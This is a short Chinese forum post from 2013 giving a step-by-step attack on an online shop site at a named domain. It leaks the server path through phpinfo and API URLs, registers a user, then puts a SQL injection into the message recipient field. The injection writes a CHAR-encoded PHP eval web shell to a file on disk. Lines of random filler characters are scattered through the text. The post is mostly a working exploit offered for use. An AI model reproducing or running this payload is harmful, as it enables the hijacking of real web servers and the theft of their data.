第一个：想办法找到目标网站的绝对路径
; x% L( t* t: @, v# S8 i4 p; `. ?" v9 s' I+ z
http://www.political-security.com/install/svinfo.php?phpinfo=true
1 @( U! z) b3 k8 H
p' I& p4 u" F7 a! f' N) }2 rhttp:/www.political-security.com/core/api/shop_api.php! r7 s! T& K4 e$ \) `3 @; c0 d7 Z
& |( V$ o! B4 d7 i1 g- ]6 k2 Hhttp://www.political-security.co ... api_b2b_2_0_cat.php1 ~" E1 i; K' g. G/ a, W; e
6 x4 v+ I3 B8 F6 [, \/ vhttp://www.political-security.com/core/ap ... b_2_0_goodstype.php
# a3 E) r/ Y; J/ ^4 Y+ a1 s& @( Y/ L; ^, s
http://www.political-security.co ... i_b2b_2_0_brand.php
2 C8 H/ X9 ^) R0 k第二个：注册一个普通用户
1 o% a. p) U! U, Y: k |5 ], `: c: A4 j# c/ l* y+ O6 J1 I
http://www.political-security.com/?passport-signup.html
5 i9 ]7 v5 W8 z5 f5 l7 _1 q4 T& U9 T5 u: G6 b: F) a
第三个： 发送消息
4 |* ^* S: i+ n! m8 ~* A8 p E. Q9 b0 F- k G
http://www.political-security.com/?member-send.html4 F5 c9 G" }! Y& t4 l! C2 f2 B
发送给中填写
. O7 ~9 [ S6 R" m' jantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对